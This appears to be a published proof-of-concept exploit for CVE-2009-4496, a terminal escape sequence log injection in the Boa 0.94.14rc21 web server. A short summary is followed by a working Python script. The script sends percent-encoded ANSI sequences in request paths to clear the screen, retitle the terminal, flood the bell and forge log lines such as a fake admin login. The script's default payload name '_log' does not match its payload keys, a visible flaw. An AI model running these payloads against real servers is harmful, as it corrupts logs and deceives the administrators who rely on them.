Boa 0.94.14rc21 Terminal Escape Sequence Log Injection

===================================================================================================================================
|# Title      : Boa 0.94.14rc21 HTTP Server Terminal Escape Sequence Log Injection                                                |
|# Author     : indoushka                                                                                                         |
|# Tested on  : Boa 0.94.14rc21 – Debian build                                                                                    |
|# File type  : POC                                                                                                               |
|# Vendor     : Boa Webserver                                                                                                     |
===================================================================================================================================

[+] Summary : The vulnerability concerns Boa 0.94.14rc21 Debian builds containing allow_8bit.diff but lacking the escape-errorlog.diff security patch.
              The script sends HTTP GET requests containing percent-encoded terminal control characters in the requested URL path. 
			  When the requested resource does not exist, Boa may record the request pathname in its error log without properly 
			  neutralizing terminal escape sequences.
              This can allow malicious log entries to manipulate terminal display behavior when administrators inspect affected logs directly.

[+] Script Context :

1. Payload Construction

Generates ANSI/VT terminal escape sequences.

Supports terminal-title modification, screen clearing, cursor manipulation, colors, and simulated log entries.

Supports custom hexadecimal payloads.

2. HTTP Request Injection

Percent-encodes each payload byte.

Embeds the encoded data in the URL path.

Sends an HTTP GET request to the configured Boa server.

Records the HTTP response status.

3. Manual Log Verification

Identifies the expected Boa error-log location.

Provides commands for inspecting terminal escape characters.

Recommends hexadecimal inspection to identify raw ESC bytes.

Compares vulnerable and patched logging behavior.

[+]  POC :

#!/usr/bin/env python3

import requests
import sys
import argparse

def inject_escape_sequence(target_url: str, payload: bytes, timeout=10) -> dict:
    """
    Send a request with percent-encoded ESC sequences in the path.
    When the file doesn't exist, Boa logs req->pathname to error log.
    On vulnerable Debian builds, ESC reaches the log raw.
    """
    encoded = "".join(f"%{b:02X}" for b in payload)
    url = f"{target_url.rstrip('/')}/{encoded}"
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Raw payload:  {payload!r}")
    print(f"[*] Encoded path: /{encoded}")
    
    try:
        r = requests.get(url, timeout=timeout, allow_redirects=False)
        print(f"[*] HTTP {r.status_code}")
        return {
            "status": r.status_code,
            "sent": True,
            "note": "Check error log for raw ESC (0x1B) if 404 returned"
        }
    except Exception as e:
        print(f"[-] Error: {e}")
        return {"status": "error", "error": str(e)}

PAYLOADS = {
    "title": b"\x1b]0;PWNED\x07",
    "clear": b"\x1b[2J\x1b[H",
    "reverse": b"\x1b[7m",
    "hide": b"\x1b[?25l",

    "log": b"\x1b[32m[OK] Authentication successful\x1b[0m",
    "bell_flood": b"\x07" * 100,
    "admin": (
        b"\x1b[2K\r"    
        b"\x1b[32m[INFO]\x1b[0m " 
        b"admin logged in from 127.0.0.1\n"
    ),
}


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2009-4496 Offensive PoC (AUTHORIZED LAB ONLY)"
    )
    parser.add_argument("--url", required=True, help="Boa server URL")
    parser.add_argument("--payload", default="_log",
                        choices=list(PAYLOADS.keys()),
                        help="Escape sequence payload to inject")
    parser.add_argument("--custom", help="Custom hex payload (e.g. 1b5b33316d)")
    parser.add_argument("--authorized", action="store_true",
                        help="Confirm you have authorization to test this target")
    args = parser.parse_args()
    
    if not args.authorized:
        print("[-] You must pass --authorized to confirm authorization.")
        print("    Only use this against systems you own or are authorized to test.")
        sys.exit(1)
    if args.custom:
        payload = bytes.fromhex(args.custom)
    else:
        payload = PAYLOADS[args.payload]
    
    print("=" * 60)
    print(f"CVE-2009-4496 — Injecting: {args.payload}")
    print("=" * 60)
    
    result = inject_escape_sequence(args.url, payload)
    print(f"\n[*] Result: {result}")
    
    print("\n[*] Next steps (manual):")
    print("    1. On the target host, locate Boa's error log")
    print("       (typically /var/log/boa/error_log or configured path)")
    print("    2. View it with:  cat -v /var/log/boa/error_log")
    print("       - If you see ^[ (ESC), the injection succeeded")
    print("       - Then view with: cat /var/log/boa/error_log")
    print("       - The terminal will interpret the sequences")
    print("    3. Compare with:  hexdump -C /var/log/boa/error_log | grep 1b")
   
    print("\n[!] If the target is patched (escape-errorlog.diff),")
    print("    you will see \\x1b in the log instead of raw ESC.")

if __name__ == "__main__":
    main()


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================